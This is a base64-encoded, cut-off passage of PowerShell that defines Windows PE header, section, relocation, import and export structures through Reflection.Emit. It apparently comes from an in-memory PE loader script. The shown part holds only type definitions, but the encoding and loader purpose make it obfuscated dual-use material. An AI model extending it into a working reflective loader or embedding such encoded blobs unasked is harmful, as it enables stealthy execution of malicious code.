QUdFX09QVElPTkFMX0hFQURFUjMyJywgJEF0dHJpYnV0ZXMsIFtTeXN0ZW0uVmFsdWVUeXBlXSwg MjI0KQoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ01hZ2ljJywgJE1hZ2ljVHlwZSwgJ1B1 YmxpYycpKS5TZXRPZmZzZXQoMCkgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmll bGQoJ01ham9yTGlua2VyVmVyc2lvbicsIFtCeXRlXSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMikg fCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ01pbm9yTGlua2VyVmVyc2lv bicsIFtCeXRlXSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMykgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1 aWxkZXIuRGVmaW5lRmllbGQoJ1NpemVPZkNvZGUnLCBbVUludDMyXSwgJ1B1YmxpYycpKS5TZXRP ZmZzZXQoNCkgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ1NpemVPZklu aXRpYWxpemVkRGF0YScsIFtVSW50MzJdLCAnUHVibGljJykpLlNldE9mZnNldCg4KSB8IE91dC1O dWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnU2l6ZU9mVW5pbml0aWFsaXplZERhdGEn LCBbVUludDMyXSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMTIpIHwgT3V0LU51bGwKCQkoJFR5cGVC dWlsZGVyLkRlZmluZUZpZWxkKCdBZGRyZXNzT2ZFbnRyeVBvaW50JywgW1VJbnQzMl0sICdQdWJs aWMnKSkuU2V0T2Zmc2V0KDE2KSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVs ZCgnQmFzZU9mQ29kZScsIFtVSW50MzJdLCAnUHVibGljJykpLlNldE9mZnNldCgyMCkgfCBPdXQt TnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0Jhc2VPZkRhdGEnLCBbVUludDMyXSwg J1B1YmxpYycpKS5TZXRPZmZzZXQoMjQpIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmlu ZUZpZWxkKCdJbWFnZUJhc2UnLCBbVUludDMyXSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMjgpIHwg T3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdTZWN0aW9uQWxpZ25tZW50Jywg W1VJbnQzMl0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDMyKSB8IE91dC1OdWxsCgkJKCRUeXBlQnVp bGRlci5EZWZpbmVGaWVsZCgnRmlsZUFsaWdubWVudCcsIFtVSW50MzJdLCAnUHVibGljJykpLlNl dE9mZnNldCgzNikgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ01ham9y T3BlcmF0aW5nU3lzdGVtVmVyc2lvbicsIFtVSW50MTZdLCAnUHVibGljJykpLlNldE9mZnNldCg0 MCkgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ01pbm9yT3BlcmF0aW5n U3lzdGVtVmVyc2lvbicsIFtVSW50MTZdLCAnUHVibGljJykpLlNldE9mZnNldCg0MikgfCBPdXQt TnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ01ham9ySW1hZ2VWZXJzaW9uJywgW1VJ bnQxNl0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDQ0KSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRl ci5EZWZpbmVGaWVsZCgnTWlub3JJbWFnZVZlcnNpb24nLCBbVUludDE2XSwgJ1B1YmxpYycpKS5T ZXRPZmZzZXQoNDYpIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdNYWpv clN1YnN5c3RlbVZlcnNpb24nLCBbVUludDE2XSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoNDgpIHwg T3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdNaW5vclN1YnN5c3RlbVZlcnNp b24nLCBbVUludDE2XSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoNTApIHwgT3V0LU51bGwKCQkoJFR5 cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdXaW4zMlZlcnNpb25WYWx1ZScsIFtVSW50MzJdLCAnUHVi bGljJykpLlNldE9mZnNldCg1MikgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmll bGQoJ1NpemVPZkltYWdlJywgW1VJbnQzMl0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDU2KSB8IE91 dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnU2l6ZU9mSGVhZGVycycsIFtVSW50 MzJdLCAnUHVibGljJykpLlNldE9mZnNldCg2MCkgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIu RGVmaW5lRmllbGQoJ0NoZWNrU3VtJywgW1VJbnQzMl0sICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDY0 KSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnU3Vic3lzdGVtJywgJFN1 YlN5c3RlbVR5cGUsICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDY4KSB8IE91dC1OdWxsCgkJKCRUeXBl QnVpbGRlci5EZWZpbmVGaWVsZCgnRGxsQ2hhcmFjdGVyaXN0aWNzJywgJERsbENoYXJhY3Rlcmlz dGljc1R5cGUsICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDcwKSB8IE91dC1OdWxsCgkJKCRUeXBlQnVp bGRlci5EZWZpbmVGaWVsZCgnU2l6ZU9mU3RhY2tSZXNlcnZlJywgW1VJbnQzMl0sICdQdWJsaWMn KSkuU2V0T2Zmc2V0KDcyKSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgn U2l6ZU9mU3RhY2tDb21taXQnLCBbVUludDMyXSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoNzYpIHwg T3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdTaXplT2ZIZWFwUmVzZXJ2ZScs IFtVSW50MzJdLCAnUHVibGljJykpLlNldE9mZnNldCg4MCkgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1 aWxkZXIuRGVmaW5lRmllbGQoJ1NpemVPZkhlYXBDb21taXQnLCBbVUludDMyXSwgJ1B1YmxpYycp KS5TZXRPZmZzZXQoODQpIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdM b2FkZXJGbGFncycsIFtVSW50MzJdLCAnUHVibGljJykpLlNldE9mZnNldCg4OCkgfCBPdXQtTnVs bAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ051bWJlck9mUnZhQW5kU2l6ZXMnLCBbVUlu dDMyXSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoOTIpIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVy LkRlZmluZUZpZWxkKCdFeHBvcnRUYWJsZScsICRJTUFHRV9EQVRBX0RJUkVDVE9SWSwgJ1B1Ymxp YycpKS5TZXRPZmZzZXQoOTYpIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxk KCdJbXBvcnRUYWJsZScsICRJTUFHRV9EQVRBX0RJUkVDVE9SWSwgJ1B1YmxpYycpKS5TZXRPZmZz ZXQoMTA0KSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnUmVzb3VyY2VU YWJsZScsICRJTUFHRV9EQVRBX0RJUkVDVE9SWSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMTEyKSB8 IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnRXhjZXB0aW9uVGFibGUnLCAk SU1BR0VfREFUQV9ESVJFQ1RPUlksICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDEyMCkgfCBPdXQtTnVs bAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0NlcnRpZmljYXRlVGFibGUnLCAkSU1BR0Vf REFUQV9ESVJFQ1RPUlksICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDEyOCkgfCBPdXQtTnVsbAoJCSgk VHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0Jhc2VSZWxvY2F0aW9uVGFibGUnLCAkSU1BR0VfREFU QV9ESVJFQ1RPUlksICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDEzNikgfCBPdXQtTnVsbAoJCSgkVHlw ZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0RlYnVnJywgJElNQUdFX0RBVEFfRElSRUNUT1JZLCAnUHVi bGljJykpLlNldE9mZnNldCgxNDQpIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZp ZWxkKCdBcmNoaXRlY3R1cmUnLCAkSU1BR0VfREFUQV9ESVJFQ1RPUlksICdQdWJsaWMnKSkuU2V0 T2Zmc2V0KDE1MikgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0dsb2Jh bFB0cicsICRJTUFHRV9EQVRBX0RJUkVDVE9SWSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMTYwKSB8 IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnVExTVGFibGUnLCAkSU1BR0Vf REFUQV9ESVJFQ1RPUlksICdQdWJsaWMnKSkuU2V0T2Zmc2V0KDE2OCkgfCBPdXQtTnVsbAoJCSgk VHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0xvYWRDb25maWdUYWJsZScsICRJTUFHRV9EQVRBX0RJ UkVDVE9SWSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMTc2KSB8IE91dC1OdWxsCgkJKCRUeXBlQnVp bGRlci5EZWZpbmVGaWVsZCgnQm91bmRJbXBvcnQnLCAkSU1BR0VfREFUQV9ESVJFQ1RPUlksICdQ dWJsaWMnKSkuU2V0T2Zmc2V0KDE4NCkgfCBPdXQtTnVsbAoJCSgkVHlwZUJ1aWxkZXIuRGVmaW5l RmllbGQoJ0lBVCcsICRJTUFHRV9EQVRBX0RJUkVDVE9SWSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQo MTkyKSB8IE91dC1OdWxsCgkJKCRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnRGVsYXlJbXBvcnRE ZXNjcmlwdG9yJywgJElNQUdFX0RBVEFfRElSRUNUT1JZLCAnUHVibGljJykpLlNldE9mZnNldCgy MDApIHwgT3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdDTFJSdW50aW1lSGVh ZGVyJywgJElNQUdFX0RBVEFfRElSRUNUT1JZLCAnUHVibGljJykpLlNldE9mZnNldCgyMDgpIHwg T3V0LU51bGwKCQkoJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdSZXNlcnZlZCcsICRJTUFHRV9E QVRBX0RJUkVDVE9SWSwgJ1B1YmxpYycpKS5TZXRPZmZzZXQoMjE2KSB8IE91dC1OdWxsCgkJJElN QUdFX09QVElPTkFMX0hFQURFUjMyID0gJFR5cGVCdWlsZGVyLkNyZWF0ZVR5cGUoKQoJCSRXaW4z MlR5cGVzIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgSU1BR0Vf T1BUSU9OQUxfSEVBREVSMzIgLVZhbHVlICRJTUFHRV9PUFRJT05BTF9IRUFERVIzMgoKCgkJJEF0 dHJpYnV0ZXMgPSAnQXV0b0xheW91dCwgQW5zaUNsYXNzLCBDbGFzcywgUHVibGljLCBTZXF1ZW50 aWFsTGF5b3V0LCBTZWFsZWQsIEJlZm9yZUZpZWxkSW5pdCcKCQkkVHlwZUJ1aWxkZXIgPSAkTW9k dWxlQnVpbGRlci5EZWZpbmVUeXBlKCdJTUFHRV9OVF9IRUFERVJTNjQnLCAkQXR0cmlidXRlcywg W1N5c3RlbS5WYWx1ZVR5cGVdLCAyNjQpCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdTaWdu YXR1cmUnLCBbVUludDMyXSwgJ1B1YmxpYycpIHwgT3V0LU51bGwKCQkkVHlwZUJ1aWxkZXIuRGVm aW5lRmllbGQoJ0ZpbGVIZWFkZXInLCAkSU1BR0VfRklMRV9IRUFERVIsICdQdWJsaWMnKSB8IE91 dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdPcHRpb25hbEhlYWRlcicsICRJTUFH RV9PUFRJT05BTF9IRUFERVI2NCwgJ1B1YmxpYycpIHwgT3V0LU51bGwKCQkkSU1BR0VfTlRfSEVB REVSUzY0ID0gJFR5cGVCdWlsZGVyLkNyZWF0ZVR5cGUoKQoJCSRXaW4zMlR5cGVzIHwgQWRkLU1l bWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgSU1BR0VfTlRfSEVBREVSUzY0IC1W YWx1ZSAkSU1BR0VfTlRfSEVBREVSUzY0CgkJCgoJCSRBdHRyaWJ1dGVzID0gJ0F1dG9MYXlvdXQs IEFuc2lDbGFzcywgQ2xhc3MsIFB1YmxpYywgU2VxdWVudGlhbExheW91dCwgU2VhbGVkLCBCZWZv cmVGaWVsZEluaXQnCgkJJFR5cGVCdWlsZGVyID0gJE1vZHVsZUJ1aWxkZXIuRGVmaW5lVHlwZSgn SU1BR0VfTlRfSEVBREVSUzMyJywgJEF0dHJpYnV0ZXMsIFtTeXN0ZW0uVmFsdWVUeXBlXSwgMjQ4 KQoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnU2lnbmF0dXJlJywgW1VJbnQzMl0sICdQdWJs aWMnKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdGaWxlSGVhZGVyJywg JElNQUdFX0ZJTEVfSEVBREVSLCAnUHVibGljJykgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5E ZWZpbmVGaWVsZCgnT3B0aW9uYWxIZWFkZXInLCAkSU1BR0VfT1BUSU9OQUxfSEVBREVSMzIsICdQ dWJsaWMnKSB8IE91dC1OdWxsCgkJJElNQUdFX05UX0hFQURFUlMzMiA9ICRUeXBlQnVpbGRlci5D cmVhdGVUeXBlKCkKCQkkV2luMzJUeXBlcyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVBy b3BlcnR5IC1OYW1lIElNQUdFX05UX0hFQURFUlMzMiAtVmFsdWUgJElNQUdFX05UX0hFQURFUlMz MgoKCgkJJEF0dHJpYnV0ZXMgPSAnQXV0b0xheW91dCwgQW5zaUNsYXNzLCBDbGFzcywgUHVibGlj LCBTZXF1ZW50aWFsTGF5b3V0LCBTZWFsZWQsIEJlZm9yZUZpZWxkSW5pdCcKCQkkVHlwZUJ1aWxk ZXIgPSAkTW9kdWxlQnVpbGRlci5EZWZpbmVUeXBlKCdJTUFHRV9ET1NfSEVBREVSJywgJEF0dHJp YnV0ZXMsIFtTeXN0ZW0uVmFsdWVUeXBlXSwgNjQpCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxk KCdlX21hZ2ljJywgW1VJbnQxNl0sICdQdWJsaWMnKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVy LkRlZmluZUZpZWxkKCdlX2NibHAnLCBbVUludDE2XSwgJ1B1YmxpYycpIHwgT3V0LU51bGwKCQkk VHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ2VfY3AnLCBbVUludDE2XSwgJ1B1YmxpYycpIHwgT3V0 LU51bGwKCQkkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ2VfY3JsYycsIFtVSW50MTZdLCAnUHVi bGljJykgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnZV9jcGFyaGRyJywg W1VJbnQxNl0sICdQdWJsaWMnKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxk KCdlX21pbmFsbG9jJywgW1VJbnQxNl0sICdQdWJsaWMnKSB8IE91dC1OdWxsCgkJJFR5cGVCdWls ZGVyLkRlZmluZUZpZWxkKCdlX21heGFsbG9jJywgW1VJbnQxNl0sICdQdWJsaWMnKSB8IE91dC1O dWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdlX3NzJywgW1VJbnQxNl0sICdQdWJsaWMn KSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdlX3NwJywgW1VJbnQxNl0s ICdQdWJsaWMnKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdlX2NzdW0n LCBbVUludDE2XSwgJ1B1YmxpYycpIHwgT3V0LU51bGwKCQkkVHlwZUJ1aWxkZXIuRGVmaW5lRmll bGQoJ2VfaXAnLCBbVUludDE2XSwgJ1B1YmxpYycpIHwgT3V0LU51bGwKCQkkVHlwZUJ1aWxkZXIu RGVmaW5lRmllbGQoJ2VfY3MnLCBbVUludDE2XSwgJ1B1YmxpYycpIHwgT3V0LU51bGwKCQkkVHlw ZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ2VfbGZhcmxjJywgW1VJbnQxNl0sICdQdWJsaWMnKSB8IE91 dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdlX292bm8nLCBbVUludDE2XSwgJ1B1 YmxpYycpIHwgT3V0LU51bGwKCgkJJGVfcmVzRmllbGQgPSAkVHlwZUJ1aWxkZXIuRGVmaW5lRmll bGQoJ2VfcmVzJywgW1VJbnQxNltdXSwgJ1B1YmxpYywgSGFzRmllbGRNYXJzaGFsJykKCQkkQ29u c3RydWN0b3JWYWx1ZSA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuVW5tYW5hZ2Vk VHlwZV06OkJ5VmFsQXJyYXkKCQkkRmllbGRBcnJheSA9IEAoW1N5c3RlbS5SdW50aW1lLkludGVy b3BTZXJ2aWNlcy5NYXJzaGFsQXNBdHRyaWJ1dGVdLkdldEZpZWxkKCdTaXplQ29uc3QnKSkKCQkk QXR0cmliQnVpbGRlciA9IE5ldy1PYmplY3QgU3lzdGVtLlJlZmxlY3Rpb24uRW1pdC5DdXN0b21B dHRyaWJ1dGVCdWlsZGVyKCRDb25zdHJ1Y3RvckluZm8sICRDb25zdHJ1Y3RvclZhbHVlLCAkRmll bGRBcnJheSwgQChbSW50MzJdIDQpKQoJCSRlX3Jlc0ZpZWxkLlNldEN1c3RvbUF0dHJpYnV0ZSgk QXR0cmliQnVpbGRlcikKCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdlX29lbWlkJywgW1VJ bnQxNl0sICdQdWJsaWMnKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdl X29lbWluZm8nLCBbVUludDE2XSwgJ1B1YmxpYycpIHwgT3V0LU51bGwKCgkJJGVfcmVzMkZpZWxk ID0gJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdlX3JlczInLCBbVUludDE2W11dLCAnUHVibGlj LCBIYXNGaWVsZE1hcnNoYWwnKQoJCSRDb25zdHJ1Y3RvclZhbHVlID0gW1N5c3RlbS5SdW50aW1l LkludGVyb3BTZXJ2aWNlcy5Vbm1hbmFnZWRUeXBlXTo6QnlWYWxBcnJheQoJCSRBdHRyaWJCdWls ZGVyID0gTmV3LU9iamVjdCBTeXN0ZW0uUmVmbGVjdGlvbi5FbWl0LkN1c3RvbUF0dHJpYnV0ZUJ1 aWxkZXIoJENvbnN0cnVjdG9ySW5mbywgJENvbnN0cnVjdG9yVmFsdWUsICRGaWVsZEFycmF5LCBA KFtJbnQzMl0gMTApKQoJCSRlX3JlczJGaWVsZC5TZXRDdXN0b21BdHRyaWJ1dGUoJEF0dHJpYkJ1 aWxkZXIpCgoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnZV9sZmFuZXcnLCBbSW50MzJdLCAn UHVibGljJykgfCBPdXQtTnVsbAoJCSRJTUFHRV9ET1NfSEVBREVSID0gJFR5cGVCdWlsZGVyLkNy ZWF0ZVR5cGUoKQkKCQkkV2luMzJUeXBlcyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVBy b3BlcnR5IC1OYW1lIElNQUdFX0RPU19IRUFERVIgLVZhbHVlICRJTUFHRV9ET1NfSEVBREVSCgoK CQkkQXR0cmlidXRlcyA9ICdBdXRvTGF5b3V0LCBBbnNpQ2xhc3MsIENsYXNzLCBQdWJsaWMsIFNl cXVlbnRpYWxMYXlvdXQsIFNlYWxlZCwgQmVmb3JlRmllbGRJbml0JwoJCSRUeXBlQnVpbGRlciA9 ICRNb2R1bGVCdWlsZGVyLkRlZmluZVR5cGUoJ0lNQUdFX1NFQ1RJT05fSEVBREVSJywgJEF0dHJp YnV0ZXMsIFtTeXN0ZW0uVmFsdWVUeXBlXSwgNDApCgoJCSRuYW1lRmllbGQgPSAkVHlwZUJ1aWxk ZXIuRGVmaW5lRmllbGQoJ05hbWUnLCBbQ2hhcltdXSwgJ1B1YmxpYywgSGFzRmllbGRNYXJzaGFs JykKCQkkQ29uc3RydWN0b3JWYWx1ZSA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMu VW5tYW5hZ2VkVHlwZV06OkJ5VmFsQXJyYXkKCQkkQXR0cmliQnVpbGRlciA9IE5ldy1PYmplY3Qg U3lzdGVtLlJlZmxlY3Rpb24uRW1pdC5DdXN0b21BdHRyaWJ1dGVCdWlsZGVyKCRDb25zdHJ1Y3Rv ckluZm8sICRDb25zdHJ1Y3RvclZhbHVlLCAkRmllbGRBcnJheSwgQChbSW50MzJdIDgpKQoJCSRu YW1lRmllbGQuU2V0Q3VzdG9tQXR0cmlidXRlKCRBdHRyaWJCdWlsZGVyKQoKCQkkVHlwZUJ1aWxk ZXIuRGVmaW5lRmllbGQoJ1ZpcnR1YWxTaXplJywgW1VJbnQzMl0sICdQdWJsaWMnKSB8IE91dC1O dWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdWaXJ0dWFsQWRkcmVzcycsIFtVSW50MzJd LCAnUHVibGljJykgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnU2l6ZU9m UmF3RGF0YScsIFtVSW50MzJdLCAnUHVibGljJykgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5E ZWZpbmVGaWVsZCgnUG9pbnRlclRvUmF3RGF0YScsIFtVSW50MzJdLCAnUHVibGljJykgfCBPdXQt TnVsbAoJCSRUeXBlQnVpbGRlci5EZWZpbmVGaWVsZCgnUG9pbnRlclRvUmVsb2NhdGlvbnMnLCBb VUludDMyXSwgJ1B1YmxpYycpIHwgT3V0LU51bGwKCQkkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQo J1BvaW50ZXJUb0xpbmVudW1iZXJzJywgW1VJbnQzMl0sICdQdWJsaWMnKSB8IE91dC1OdWxsCgkJ JFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdOdW1iZXJPZlJlbG9jYXRpb25zJywgW1VJbnQxNl0s ICdQdWJsaWMnKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdOdW1iZXJP ZkxpbmVudW1iZXJzJywgW1VJbnQxNl0sICdQdWJsaWMnKSB8IE91dC1OdWxsCgkJJFR5cGVCdWls ZGVyLkRlZmluZUZpZWxkKCdDaGFyYWN0ZXJpc3RpY3MnLCBbVUludDMyXSwgJ1B1YmxpYycpIHwg T3V0LU51bGwKCQkkSU1BR0VfU0VDVElPTl9IRUFERVIgPSAkVHlwZUJ1aWxkZXIuQ3JlYXRlVHlw ZSgpCgkJJFdpbjMyVHlwZXMgfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAt TmFtZSBJTUFHRV9TRUNUSU9OX0hFQURFUiAtVmFsdWUgJElNQUdFX1NFQ1RJT05fSEVBREVSCgoK CQkkQXR0cmlidXRlcyA9ICdBdXRvTGF5b3V0LCBBbnNpQ2xhc3MsIENsYXNzLCBQdWJsaWMsIFNl cXVlbnRpYWxMYXlvdXQsIFNlYWxlZCwgQmVmb3JlRmllbGRJbml0JwoJCSRUeXBlQnVpbGRlciA9 ICRNb2R1bGVCdWlsZGVyLkRlZmluZVR5cGUoJ0lNQUdFX0JBU0VfUkVMT0NBVElPTicsICRBdHRy aWJ1dGVzLCBbU3lzdGVtLlZhbHVlVHlwZV0sIDgpCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxk KCdWaXJ0dWFsQWRkcmVzcycsIFtVSW50MzJdLCAnUHVibGljJykgfCBPdXQtTnVsbAoJCSRUeXBl QnVpbGRlci5EZWZpbmVGaWVsZCgnU2l6ZU9mQmxvY2snLCBbVUludDMyXSwgJ1B1YmxpYycpIHwg T3V0LU51bGwKCQkkSU1BR0VfQkFTRV9SRUxPQ0FUSU9OID0gJFR5cGVCdWlsZGVyLkNyZWF0ZVR5 cGUoKQoJCSRXaW4zMlR5cGVzIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkg LU5hbWUgSU1BR0VfQkFTRV9SRUxPQ0FUSU9OIC1WYWx1ZSAkSU1BR0VfQkFTRV9SRUxPQ0FUSU9O CgoKCQkkQXR0cmlidXRlcyA9ICdBdXRvTGF5b3V0LCBBbnNpQ2xhc3MsIENsYXNzLCBQdWJsaWMs IFNlcXVlbnRpYWxMYXlvdXQsIFNlYWxlZCwgQmVmb3JlRmllbGRJbml0JwoJCSRUeXBlQnVpbGRl ciA9ICRNb2R1bGVCdWlsZGVyLkRlZmluZVR5cGUoJ0lNQUdFX0lNUE9SVF9ERVNDUklQVE9SJywg JEF0dHJpYnV0ZXMsIFtTeXN0ZW0uVmFsdWVUeXBlXSwgMjApCgkJJFR5cGVCdWlsZGVyLkRlZmlu ZUZpZWxkKCdDaGFyYWN0ZXJpc3RpY3MnLCBbVUludDMyXSwgJ1B1YmxpYycpIHwgT3V0LU51bGwK CQkkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ1RpbWVEYXRlU3RhbXAnLCBbVUludDMyXSwgJ1B1 YmxpYycpIHwgT3V0LU51bGwKCQkkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ0ZvcndhcmRlckNo YWluJywgW1VJbnQzMl0sICdQdWJsaWMnKSB8IE91dC1OdWxsCgkJJFR5cGVCdWlsZGVyLkRlZmlu ZUZpZWxkKCdOYW1lJywgW1VJbnQzMl0sICdQdWJsaWMnKSB8IE91dC1OdWxsCgkJJFR5cGVCdWls ZGVyLkRlZmluZUZpZWxkKCdGaXJzdFRodW5rJywgW1VJbnQzMl0sICdQdWJsaWMnKSB8IE91dC1O dWxsCgkJJElNQUdFX0lNUE9SVF9ERVNDUklQVE9SID0gJFR5cGVCdWlsZGVyLkNyZWF0ZVR5cGUo KQoJCSRXaW4zMlR5cGVzIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5h bWUgSU1BR0VfSU1QT1JUX0RFU0NSSVBUT1IgLVZhbHVlICRJTUFHRV9JTVBPUlRfREVTQ1JJUFRP UgoKCgkJJEF0dHJpYnV0ZXMgPSAnQXV0b0xheW91dCwgQW5zaUNsYXNzLCBDbGFzcywgUHVibGlj LCBTZXF1ZW50aWFsTGF5b3V0LCBTZWFsZWQsIEJlZm9yZUZpZWxkSW5pdCcKCQkkVHlwZUJ1aWxk ZXIgPSAkTW9kdWxlQnVpbGRlci5EZWZpbmVUeXBlKCdJTUFHRV9FWFBPUlRfRElSRUNUT1JZJywg JEF0dHJpYnV0ZXMsIFtTeXN0ZW0uVmFsdWVUeXBlXSwgNDApCgkJJFR5cGVCdWlsZGVyLkRlZmlu ZUZpZWxkKCdDaGFyYWN0ZXJpc3RpY3MnLCBbVUludDMyXSwgJ1B1YmxpYycpIHwgT3V0LU51bGwK CQkkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ1RpbWVEYXRlU3RhbXAnLCBbVUludDMyXSwgJ1B1 YmxpYycpIHwgT3V0LU51bGwKCQkkVHlwZUJ1aWxkZXIuRGVmaW5lRmllbGQoJ01ham9yVmVyc2lv bicsIFtVSW50MTZdLCAnUHVibGljJykgfCBPdXQtTnVsbAoJCSRUeXBlQnVpbGRlci5EZWZpbmVG aWVsZCgnTWlub3JWZXJzaW9uJywgW1VJbnQxNl0sICdQdWJsaWMnKSB8IE91dC1OdWxsCgkJJFR5 cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdOYW1lJywgW1VJbnQzMl0sICdQdWJsaWMnKSB8IE91dC1O dWxsCgkJJFR5cGVCdWlsZGVyLkRlZmluZUZpZWxkKCdCYXNlJywgW1VJbnQzMl0sICdQdWJsaWMn 